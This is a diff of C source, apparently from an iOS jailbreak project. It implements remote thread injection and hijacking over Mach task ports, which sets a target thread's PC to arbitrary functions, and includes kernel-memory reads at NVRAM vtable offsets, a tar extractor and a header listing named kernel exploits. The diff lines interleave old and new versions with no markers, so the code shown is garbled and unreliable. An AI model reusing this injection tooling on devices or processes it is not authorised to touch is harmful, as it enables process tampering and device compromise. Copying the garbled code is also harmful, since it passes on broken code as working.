uint64_t remote_stack_size = 4 * 1024 * 1024;
remote_stack_base = remote_alloc(task_port, remote_stack_size);
uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size / 2);
// create a new thread in the target
// just using the mach thread API doesn't initialize the pthread thread-local-storage
// which means that stuff which relies on that will crash
// we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
// which will give the newly created thread the same TLS region as the main thread
_STRUCT_ARM_THREAD_STATE64 thread_state = { 0 };
mach_msg_type_number_t thread_stateCnt = sizeof(thread_state) / 4;
// we'll start the thread running and call _pthread_set_self first:
thread_state.__sp = remote_stack_middle;
thread_state.__pc = (uint64_t)_pthread_set_self;
// set these up to put us into a predictable state we can monitor for:
uint64_t loop_lr = find_blr_x19_gadget();
thread_state.__x[19] = loop_lr;
thread_state.__lr = loop_lr;
// set the argument to NULL:
thread_state.__x[0] = 0;
mach_port_t thread_port = MACH_PORT_NULL;
err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
if (err != KERN_SUCCESS) {
LOG("error creating thread in child: %s", mach_error_string(err));
return 0;
if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){
// thread has returned from the target function
break;
}
LOG("new thread running in child: %x", thread_port);
// wait for it to hit the loop:
while (1) {
// monitor the thread until we see it's in the infinite loop indicating it's done:
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error getting thread state: %s", mach_error_string(err));
return 0;
}
if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr) {
// thread has returned from the target function
break;
}
}
// the thread should now have pthread local storage
// pause it:
err = thread_suspend(thread_port);
if (err != KERN_SUCCESS) {
LOG("unable to suspend target thread");
return 0;
}
/*
}
// the thread should now have pthread local storage
// pause it:
err = thread_suspend(thread_port);
if (err != KERN_SUCCESS){
LOG("unable to suspend target thread\n");
return 0;
}
/*
err = thread_abort(thread_port);
if (err != KERN_SUCCESS){
LOG("unable to get thread out of any traps");
LOG("unable to get thread out of any traps\n");
return 0;
}
*/
// set up for the actual target call:
thread_state.__sp = remote_stack_middle;
thread_state.__pc = (uint64_t)fptr;
// set these up to put us into a predictable state we can monitor for:
thread_state.__x[19] = loop_lr;
thread_state.__lr = loop_lr;
va_list ap;
va_start(ap, n_params);
arg_desc* args[MAX_REMOTE_ARGS] = { 0 };
uint64_t remote_buffers[MAX_REMOTE_ARGS] = { 0 };
//uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
for (int i = 0; i < n_params; i++) {
arg_desc* arg = va_arg(ap, arg_desc*);
args[i] = arg;
switch (arg->type) {
case ARG_LITERAL: {
thread_state.__x[i] = arg->value;
break;
}
case ARG_BUFFER:
case ARG_BUFFER_PERSISTENT: {
uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
remote_buffers[i] = remote_buffer;
thread_state.__x[i] = remote_buffer;
break;
}
case ARG_OUT_BUFFER: {
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
LOG("allocated a remote out buffer: %llx", remote_buffer);
remote_buffers[i] = remote_buffer;
thread_state.__x[i] = remote_buffer;
break;
}
default: {
LOG("invalid argument type!");
}
}
// set up for the actual target call:
thread_state.__sp = remote_stack_middle;
thread_state.__pc = (uint64_t)fptr;
// set these up to put us into a predictable state we can monitor for:
thread_state.__x[19] = loop_lr;
thread_state.__lr = loop_lr;
va_list ap;
va_start(ap, n_params);
arg_desc* args[MAX_REMOTE_ARGS] = {0};
uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0};
//uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
for (int i = 0; i < n_params; i++){
arg_desc* arg = va_arg(ap, arg_desc*);
args[i] = arg;
switch(arg->type){
case ARG_LITERAL:
{
thread_state.__x[i] = arg->value;
break;
}
case ARG_BUFFER:
case ARG_BUFFER_PERSISTENT:
{
uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
remote_buffers[i] = remote_buffer;
thread_state.__x[i] = remote_buffer;
break;
}
case ARG_OUT_BUFFER:
{
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
LOG("allocated a remote out buffer: %llx\n", remote_buffer);
remote_buffers[i] = remote_buffer;
thread_state.__x[i] = remote_buffer;
break;
}
default:
{
LOG("invalid argument type!\n");
}
}
va_end(ap);
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error setting new thread state: %s", mach_error_string(err));
return 0;
}
va_end(ap);
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
if (err != KERN_SUCCESS){
LOG("error setting new thread state: %s\n", mach_error_string(err));
return 0;
}
LOG("thread state updated in target: %x\n", thread_port);
err = thread_resume(thread_port);
if (err != KERN_SUCCESS){
LOG("unable to resume target thread\n");
return 0;
}
while(1){
// monitor the thread until we see it's in the infinite loop indicating it's done:
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
if (err != KERN_SUCCESS){
LOG("error getting thread state: %s\n", mach_error_string(err));
return 0;
}
LOG("thread state updated in target: %x", thread_port);
err = thread_resume(thread_port);
if (err != KERN_SUCCESS) {
LOG("unable to resume target thread");
return 0;
if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){
// thread has returned from the target function
break;
}
while (1) {
// monitor the thread until we see it's in the infinite loop indicating it's done:
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error getting thread state: %s", mach_error_string(err));
return 0;
}
if (thread_state.__pc == loop_lr /*&& thread_state.__x[19] == loop_lr*/) {
// thread has returned from the target function
break;
}
// thread isn't in the infinite loop yet, let it continue
// thread isn't in the infinite loop yet, let it continue
}
// deallocate the remote thread
err = thread_terminate(thread_port);
if (err != KERN_SUCCESS){
LOG("failed to terminate thread\n");
return 0;
}
mach_port_deallocate(mach_task_self(), thread_port);
// handle post-call argument cleanup/copying:
for (int i = 0; i < MAX_REMOTE_ARGS; i++){
arg_desc* arg = args[i];
if (arg == NULL){
break;
}
// deallocate the remote thread
err = thread_terminate(thread_port);
if (err != KERN_SUCCESS) {
LOG("failed to terminate thread");
return 0;
switch (arg->type){
case ARG_BUFFER:
{
remote_free(task_port, remote_buffers[i], arg->length);
break;
}
case ARG_OUT_BUFFER:
{
// copy the contents back:
remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
remote_free(task_port, remote_buffers[i], arg->length);
break;
}
}
mach_port_deallocate(mach_task_self(), thread_port);
// handle post-call argument cleanup/copying:
for (int i = 0; i < MAX_REMOTE_ARGS; i++) {
arg_desc* arg = args[i];
if (arg == NULL) {
break;
}
switch (arg->type) {
case ARG_BUFFER: {
remote_free(task_port, remote_buffers[i], arg->length);
break;
}
case ARG_OUT_BUFFER: {
// copy the contents back:
remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
remote_free(task_port, remote_buffers[i], arg->length);
break;
}
}
}
uint64_t ret_val = thread_state.__x[0];
LOG("remote function call return value: %llx", ret_val);
// deallocate the stack in the target:
remote_free(task_port, remote_stack_base, remote_stack_size);
return ret_val;
}
uint64_t ret_val = thread_state.__x[0];
LOG("remote function call return value: %llx\n", ret_val);
// deallocate the stack in the target:
remote_free(task_port, remote_stack_base, remote_stack_size);
return ret_val;
}
// thread should be suspended already; will return suspended
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...)
{
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
LOG("unsupported number of arguments to remote function (%d)", n_params);
if (n_params > MAX_REMOTE_ARGS || n_params < 0){
LOG("unsupported number of arguments to remote function (%d)\n", n_params);
return 0;
}
kern_return_t err;
//#if 0
// suspend the target thread we'll hijack:
err = thread_suspend(thread_port);
if (err != KERN_SUCCESS) {
LOG("failed to suspend the thread we're trying to hijack: %s", mach_error_string(err));
LOG("failed to suspend the thread we're trying to hijack: %s\n", mach_error_string(err));
return 0;
}
//#endif
// save its suspended state so we can restore it:
_STRUCT_ARM_THREAD_STATE64 saved_thread_state = { 0 };
mach_msg_type_number_t saved_thread_stateCnt = sizeof(saved_thread_state) / 4;
// LOG("saved thread state count before: %d", saved_thread_stateCnt);
_STRUCT_ARM_THREAD_STATE64 saved_thread_state = {0};
mach_msg_type_number_t saved_thread_stateCnt = sizeof(saved_thread_state)/4;
// LOG("saved thread state count before: %d\n", saved_thread_stateCnt);
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&saved_thread_state, &saved_thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error getting thread state to save: %s", mach_error_string(err));
if (err != KERN_SUCCESS){
LOG("error getting thread state to save: %s\n", mach_error_string(err));
return 0;
}
// dump the state:
//LOG("pc: 0x%016llx", saved_thread_state.__pc);
//LOG("sp: 0x%016llx", saved_thread_state.__sp);
//LOG("pc: 0x%016llx\n", saved_thread_state.__pc);
//LOG("sp: 0x%016llx\n", saved_thread_state.__sp);
//for (int i = 0; i < 29; i++) {
// LOG("x%d: 0x%016llx", i, saved_thread_state.__x[i]);
// LOG("x%d: 0x%016llx\n", i, saved_thread_state.__x[i]);
//}
// build the state we need for the arbitrary call:
_STRUCT_ARM_THREAD_STATE64 fcall_thread_state = { 0 };
mach_msg_type_number_t fcall_thread_stateCnt = sizeof(fcall_thread_state) / 4;
_STRUCT_ARM_THREAD_STATE64 fcall_thread_state = {0};
mach_msg_type_number_t fcall_thread_stateCnt = sizeof(fcall_thread_state)/4;
memcpy(&fcall_thread_state, &saved_thread_state, sizeof(fcall_thread_state));
// make sure we can determine when the function call is done
fcall_thread_state.__x[19] = find_blr_x19_gadget();
fcall_thread_state.__lr = find_blr_x19_gadget();
// set the pc
fcall_thread_state.__pc = (uint64_t)fptr;
// load the arguments
va_list ap;
va_start(ap, n_params);
arg_desc* args[MAX_REMOTE_ARGS] = { 0 };
for (int i = 0; i < n_params; i++) {
arg_desc* args[MAX_REMOTE_ARGS] = {0};
for (int i = 0; i < n_params; i++){
arg_desc* arg = va_arg(ap, arg_desc*);
args[i] = arg;
switch (arg->type) {
case ARG_LITERAL: {
//LOG("setting arg %d to literal %llx", i, arg->value);
fcall_thread_state.__x[i] = arg->value;
break;
}
switch(arg->type){
case ARG_LITERAL:
{
//LOG("setting arg %d to literal %llx\n", i, arg->value);
fcall_thread_state.__x[i] = arg->value;
break;
}
#if 0
case ARG_BUFFER:
case ARG_BUFFER_PERSISTENT:
@@ -300,67 +309,69 @@ uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, .
case ARG_OUT_BUFFER:
{
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
LOG("allocated a remote out buffer: %llx", remote_buffer);
LOG("allocated a remote out buffer: %llx\n", remote_buffer);
remote_buffers[i] = remote_buffer;
thread_state.__x[i] = remote_buffer;
break;
}
#endif
default: {
LOG("invalid argument type!");
}
default:
{
LOG("invalid argument type!\n");
}
}
}
va_end(ap);
#if 0
LOG("fcall thread state:");
LOG("pc: 0x%016llx", fcall_thread_state.__pc);
LOG("sp: 0x%016llx", fcall_thread_state.__sp);
LOG("fp: 0x%016llx", fcall_thread_state.__fp);
LOG("lr: 0x%016llx", fcall_thread_state.__lr);
LOG("fcall thread state:\n");
LOG("pc: 0x%016llx\n", fcall_thread_state.__pc);
LOG("sp: 0x%016llx\n", fcall_thread_state.__sp);
LOG("fp: 0x%016llx\n", fcall_thread_state.__fp);
LOG("lr: 0x%016llx\n", fcall_thread_state.__lr);
for (int i = 0; i < 29; i++) {
LOG("x%d: 0x%016llx", i, fcall_thread_state.__x[i]);
LOG("x%d: 0x%016llx\n", i, fcall_thread_state.__x[i]);
}
#endif
// set the thread state:
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&fcall_thread_state, fcall_thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error setting new thread state for hijacked thread: %s", mach_error_string(err));
if (err != KERN_SUCCESS){
LOG("error setting new thread state for hijacked thread: %s\n", mach_error_string(err));
return 0;
}
// let the thread continue running with the new state:
err = thread_resume(thread_port);
if (err != KERN_SUCCESS) {
LOG("error resuming hijacked thread: %s", mach_error_string(err));
LOG("error resuming hijacked thread: %s\n", mach_error_string(err));
return 0;
}
//LOG("resumed thread");
//LOG("resumed thread\n");
// monitor for the function call ending and the thread hitting the infinite loop:
// we're reusing fcall state so we can also get the return value via x0
while (1) {
usleep(100 * 1000);
while(1){
usleep(100*1000);
thread_suspend(thread_port);
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&fcall_thread_state, &fcall_thread_stateCnt);
if (err != KERN_SUCCESS) {
LOG("error getting thread state: %s", mach_error_string(err));
if (err != KERN_SUCCESS){
LOG("error getting thread state: %s\n", mach_error_string(err));
return 0;
}
thread_resume(thread_port);
if (fcall_thread_state.__pc == find_blr_x19_gadget()) {
if (fcall_thread_state.__pc == find_blr_x19_gadget()){
// thread has returned from the target function
//LOG("hit looper!");
//LOG("hit looper!\n");
break;
}
//LOG("got bad pc: 0x%llx", fcall_thread_state.__pc);
//LOG("got bad pc: 0x%llx\n", fcall_thread_state.__pc);
}
uint64_t ret_val = fcall_thread_state.__x[0];
return ret_val;
}
+15 -19
View File
@@ -5,28 +5,24 @@
#include <stdint.h>
enum arg_type {
ARG_LITERAL,
ARG_BUFFER,
ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
ARG_OUT_BUFFER
ARG_LITERAL,
ARG_BUFFER,
ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
ARG_OUT_BUFFER
};
typedef struct _arg_desc {
uint64_t type;
uint64_t value;
uint64_t length;
uint64_t type;
uint64_t value;
uint64_t length;
} arg_desc;
#define REMOTE_LITERAL(val) \
&(arg_desc) { ARG_LITERAL, (uint64_t)val, (uint64_t)0 }
#define REMOTE_BUFFER(ptr, size) \
&(arg_desc) { ARG_BUFFER, (uint64_t)ptr, (uint64_t)size }
#define REMOTE_CSTRING(str) \
&(arg_desc) { ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str) + 1) }
#define REMOTE_BUFFER_PERSISTENT(ptr, size) \
&(arg_desc) { ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size }
#define REMOTE_CSTRING_PERSISTENT(str) \
&(arg_desc) { ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str) + 1) }
#define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}
#define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}
#define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}
#define REMOTE_BUFFER_PERSISTENT(ptr, size) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size}
#define REMOTE_CSTRING_PERSISTENT(str) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str)+1)}
// allocate a remote buffer and pass the address of that to the remote function
// when the function call is complete return the contents of that buffer to this process
@@ -38,10 +34,10 @@ typedef struct _arg_desc {
// call_remote(task_port, bootstrap_look_up, 3, REMOTE_LITERAL(remote_bootstrap_port), REMOTE_CSTRING("com.foo.bar"), REMOTE_OUT_BUFFER(&port, sizeof(port))
// // port set to value of looked up port in remote process
// // note that this doesn't actually transfer the port! use other helpers for that
#define REMOTE_OUT_BUFFER(ptr, size) \
&(arg_desc) { ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size }
#define REMOTE_OUT_BUFFER(ptr, size) &(arg_desc){ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size}
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...);
#endif
+101 -87
View File
@@ -1,123 +1,137 @@
#include <fcntl.h>
#include <pthread.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdarg.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <mach/mach_error.h>
#include <mach/mach_traps.h>
#include <mach/task.h>
#include "remote_memory.h"
#include <common.h>
// no headers for these in iOS SDK:
extern kern_return_t mach_vm_allocate(
vm_map_t target,
mach_vm_address_t* address,
mach_vm_size_t size,
int flags);
extern kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
extern kern_return_t mach_vm_deallocate
(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size
);
extern kern_return_t mach_vm_read_overwrite
(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t *outsize
);
extern kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
extern kern_return_t mach_vm_deallocate(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
extern kern_return_t mach_vm_read_overwrite(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t* outsize);
extern kern_return_t mach_vm_write(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt);
uint64_t
remote_alloc(mach_port_t task_port,
uint64_t size)
uint64_t size)
{
kern_return_t err;
mach_vm_offset_t remote_addr = 0;
mach_vm_size_t remote_size = (mach_vm_size_t)size;
err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE
if (err != KERN_SUCCESS) {
LOG("unable to allocate buffer in remote process");
return 0;
}
return (uint64_t)remote_addr;
kern_return_t err;
mach_vm_offset_t remote_addr = 0;
mach_vm_size_t remote_size = (mach_vm_size_t)size;
err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE
if (err != KERN_SUCCESS){
LOG("unable to allocate buffer in remote process\n");
return 0;
}
return (uint64_t)remote_addr;
}
void remote_free(mach_port_t task_port,
uint64_t base,
uint64_t size)
void
remote_free(mach_port_t task_port,
uint64_t base,
uint64_t size)
{
kern_return_t err;
err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
if (err != KERN_SUCCESS) {
LOG("unabble to deallocate remote buffer");
return;
}
kern_return_t err;
err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
if (err != KERN_SUCCESS){
LOG("unabble to deallocate remote buffer\n");
return;
}
return;
}
uint64_t
alloc_and_fill_remote_buffer(mach_port_t task_port,
uint64_t local_address,
uint64_t length)
uint64_t local_address,
uint64_t length)
{
kern_return_t err;
uint64_t remote_address = remote_alloc(task_port, length);
err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
if (err != KERN_SUCCESS) {
LOG("unable to write to remote memory");
return 0;
}
return remote_address;
kern_return_t err;
uint64_t remote_address = remote_alloc(task_port, length);
err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
if (err != KERN_SUCCESS){
LOG("unable to write to remote memory\n");
return 0;
}
return remote_address;
}
void remote_read_overwrite(mach_port_t task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length)
void
remote_read_overwrite(mach_port_t task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length)
{
kern_return_t err;
mach_vm_size_t outsize = 0;
err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
if (err != KERN_SUCCESS) {
LOG("remote read failed");
return;
}
if (outsize != length) {
LOG("remote read was short (expected %llx, got %llx", length, outsize);
return;
}
kern_return_t err;
mach_vm_size_t outsize = 0;
err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
if (err != KERN_SUCCESS){
LOG("remote read failed\n");
return;
}
if (outsize != length){
LOG("remote read was short (expected %llx, got %llx\n", length, outsize);
return;
}
}
void remote_write(mach_port_t remote_task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length)
void
remote_write(mach_port_t remote_task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length)
{
kern_return_t err = mach_vm_write(remote_task_port,
(mach_vm_address_t)remote_address,
(vm_offset_t)local_address,
(mach_msg_type_number_t)length);
if (err != KERN_SUCCESS) {
LOG("remote write failed: %s %x", mach_error_string(err), err);
return;
}
kern_return_t err = mach_vm_write(remote_task_port,
(mach_vm_address_t)remote_address,
(vm_offset_t)local_address,
(mach_msg_type_number_t)length);
if (err != KERN_SUCCESS) {
LOG("remote write failed: %s %x\n", mach_error_string(err), err);
return;
}
}
+18 -15
View File
@@ -1,35 +1,38 @@
#ifndef remote_memory_h
#define remote_memory_h
#include <stdint.h>
#include <stdio.h>
#include <stdint.h>
// allocate a buffer in the remote process
uint64_t
remote_alloc(mach_port_t task_port,
uint64_t size);
uint64_t size);
// free a buffer in the remote process
void remote_free(mach_port_t task_port,
uint64_t base,
uint64_t size);
void
remote_free(mach_port_t task_port,
uint64_t base,
uint64_t size);
// allocate a buffer in the remote process and fill it with the given contents
uint64_t
alloc_and_fill_remote_buffer(mach_port_t task_port,
uint64_t local_address,
uint64_t length);
uint64_t local_address,
uint64_t length);
// read from the remote address to the local address
// local address must be the address of a buffer at least length bytes in size
void remote_read_overwrite(mach_port_t task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length);
void
remote_read_overwrite(mach_port_t task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length);
void remote_write(mach_port_t remote_task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length);
void
remote_write(mach_port_t remote_task_port,
uint64_t remote_address,
uint64_t local_address,
uint64_t length);
#endif /* remote_memory_h */
+5 -4
View File
@@ -12,11 +12,12 @@
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <QiLin.h>
#include <iokit.h>
#include <common.h>
#include "KernelUtilities.h"
#include "KernelStructureOffsets.h"
#include "KernelMemory.h"
#include "kutils.h"
#include "offsets.h"
#include "kmem.h"
// from vtable start in bytes
unsigned VTB_IODTNVRAM__SEARCHNVRAMPROPERTY = 0x590;
@@ -37,7 +38,7 @@ uint64_t get_iodtnvram_obj(void) {
LOG("Failed to get IODTNVRAM service");
return 0;
}
uint64_t nvram_up = get_address_of_port(getpid(), IODTNVRAMSrv);
uint64_t nvram_up = getAddressOfPort(getpid(), IODTNVRAMSrv);
IODTNVRAMObj = ReadKernel64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
LOG("IODTNVRAM obj at 0x%llx", IODTNVRAMObj);
+254
View File
@@ -0,0 +1,254 @@
/*
* "untar" is an extremely simple tar extractor:
* * A single C source file, so it should be easy to compile
* and run on any system with a C compiler.
* * Extremely portable standard C. The only non-ANSI function
* used is mkdir().
* * Reads basic ustar tar archives.
* * Does not require libarchive or any other special library.
*
* To compile: cc -o untar untar.c
*
* Usage: untar <archive>
*
* In particular, this program should be sufficient to extract the
* distribution for libarchive, allowing people to bootstrap
* libarchive on systems that do not already have a tar program.
*
* To unpack libarchive-x.y.z.tar.gz:
* * gunzip libarchive-x.y.z.tar.gz
* * untar libarchive-x.y.z.tar
*
* Written by Tim Kientzle, March 2009.
* Modified by xerub, sometime in 2017.
*
* Released into the public domain.
*/
/* These are all highly standard and portable headers. */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
/* This is for mkdir(); this may need to be changed for some platforms. */
#include <sys/stat.h> /* For mkdir() */
#include <common.h>
/* Parse an octal number, ignoring leading and trailing nonsense. */
static int
parseoct(const char *p, size_t n)
{
int i = 0;
while (*p < '0' || *p > '7') {
++p;
--n;
}
while (*p >= '0' && *p <= '7' && n > 0) {
i *= 8;
i += *p - '0';
++p;
--n;
}
return (i);
}
/* Returns true if this is 512 zero bytes. */
static int
is_end_of_archive(const char *p)
{
int n;
for (n = 511; n >= 0; --n)
if (p[n] != '\0')
return (0);
return (1);
}
/* Create a directory, including parent directories as necessary. */
static void
create_dir(char *pathname, int mode, int owner, int group)
{
char *p;
int r;
struct stat st;
r = stat(pathname, &st);
if (r == 0) {
return;
}
/* Strip trailing '/' */
if (pathname[strlen(pathname) - 1] == '/')
pathname[strlen(pathname) - 1] = '\0';
/* Try creating the directory. */
r = mkdir(pathname, mode);
if (r != 0) {
/* On failure, try creating parent directory. */
p = strrchr(pathname, '/');
if (p != NULL) {
*p = '\0';
create_dir(pathname, 0755, -1, -1);
*p = '/';
r = mkdir(pathname, mode);
}
}
if (r != 0)
LOG("Could not create directory %s\n", pathname);
else if (owner >= 0 && group >= 0)
chown(pathname, owner, group);
}
/* Create a file, including parent directory as necessary. */
static int
create_file(char *pathname, int mode, int owner, int group)
{
int f;
if (unlink(pathname) && errno != ENOENT) {
LOG("untar unable to remove file %s: %s", pathname, strerror(errno));
return -1;
}
f = creat(pathname, mode);
if (f < 0) {
/* Try creating parent dir and then creating file. */
char *p = strrchr(pathname, '/');
if (p != NULL) {
*p = '\0';
create_dir(pathname, 0755, -1, -1);
*p = '/';
f = creat(pathname, mode);
}
}
fchown(f, owner, group);
return (f);
}
/* Verify the tar checksum. */
static int
verify_checksum(const char *p)
{
int n, u = 0;
for (n = 0; n < 512; ++n) {
if (n < 148 || n > 155)
/* Standard tar checksum adds unsigned bytes. */
u += ((unsigned char *)p)[n];
else
u += 0x20;
}
return (u == parseoct(p + 148, 8));
}
/* Extract a tar archive. */
bool untar(const char *file)
{
bool status = false;
char buff[512];
int f = -1;
size_t bytes_read;
int filesize;
FILE *a = fopen(file, "rb");
if (a == NULL) {
LOG("untar unable to open \"%s\" for reading: %s", file, strerror(errno));
return status;
}
LOG("Extracting from %s\n", file);
for (;;) {
bytes_read = fread(buff, 1, 512, a);
if (bytes_read < 512) {
LOG("Short read on %s: expected 512, got %zd\n",
file, bytes_read);
goto end;
}
if (is_end_of_archive(buff)) {
LOG("End of %s\n", file);
status = true;
goto end;
}
if (!verify_checksum(buff)) {
LOG("Checksum failure\n");
goto end;
}
filesize = parseoct(buff + 124, 12);
switch (buff[156]) {
case '1':
LOG(" Ignoring hardlink %s\n", buff);
break;
case '2':
LOG(" Extracting symlink %s -> %s\n", buff, buff + 157);
if (unlink(buff) && errno != ENOENT) {
break;
}
symlink(buff + 157, buff);
break;
case '3':
LOG(" Ignoring character device %s\n", buff);
break;
case '4':
LOG(" Ignoring block device %s\n", buff);
break;
case '5':
LOG(" Extracting dir %s\n", buff);
create_dir(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
filesize = 0;
break;
case '6':
LOG(" Ignoring FIFO %s\n", buff);
break;
default:
LOG(" Extracting file %s\n", buff);
f = create_file(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
if (f<0) {
goto end;
}
break;
}
while (filesize > 0) {
bytes_read = fread(buff, 1, 512, a);
if (bytes_read < 512) {
LOG("Short read on %s: Expected 512, got %zd\n",
file, bytes_read);
goto end;
}
if (filesize < 512)
bytes_read = filesize;
if (f >= 0) {
if (write(f, buff, bytes_read) != bytes_read)
{
LOG("Failed write\n");
close(f);
f = -1;
}
}
filesize -= bytes_read;
}
if (f >= 0) {
close(f);
f = -1;
}
}
end:
fclose(a);
return status;
}
#ifdef HAVE_MAIN
int
main(int argc, char **argv)
{
FILE *a;
++argv; /* Skip program name */
for ( ;*argv != NULL; ++argv) {
untar(argv);
}
return (0);
}
#endif
+8
View File
@@ -0,0 +1,8 @@
#ifndef untar_h
#define untar_h
#include <stdio.h>
bool untar(const char *file);
#endif /* untar_h */
+17 -41
View File
@@ -3,29 +3,24 @@
// Undecimus
//
// Created by Sam Bingner on 11/23/18.
// Copyright © 2018 - 2019 Sam Bingner. All rights reserved.
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
//
#ifndef _UTILS_H
#define _UTILS_H
#ifndef utils_h
#define utils_h
#import <sys/types.h>
#import <sys/stat.h>
#define system(x) _system(x)
extern int logfd;
#define DEFAULT_VERSION_STRING "Hacked"
#define empty_list_exploit 0
#define multi_path_exploit 1
#define async_wake_exploit 2
#define deja_xnu_exploit 3
#define necp_exploit 4
#define empty_list 0
#define multi_path 1
#define async_wake 2
#define deja_xnu 3
#define necp 4
enum hashtype {
HASHTYPE_MD5 = 0,
HASHTYPE_SHA1
};
int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
static inline bool create_file_data(const char *file, int owner, mode_t mode, NSData *data) {
@@ -62,33 +57,22 @@ static inline bool init_file(const char *file, int owner, mode_t mode) {
int sha1_to_str(const unsigned char *hash, size_t hashlen, char *buf, size_t buflen);
NSString *sha1sum(NSString *file);
bool verifySha1Sums(NSString *sumFile);
bool verifySums(NSString *sumFile, enum hashtype hash);
int _system(const char *cmd);
int systemf(const char *cmd, ...);
bool pkgIsInstalled(char *packageID);
bool pkgIsConfigured(char *packageID);
bool pkgIsBy(const char *maintainer, const char *packageID);
bool debIsInstalled(char *packageID);
bool debIsConfigured(char *packageID);
bool compareInstalledVersion(const char *packageID, const char *op, const char *version);
bool extractDeb(NSString *debPath);
bool extractDebs(NSArray <NSString *> *debPaths);
bool installDeb(const char *debName, bool forceDeps);
bool installDeb(char *debName, bool forceDeps);
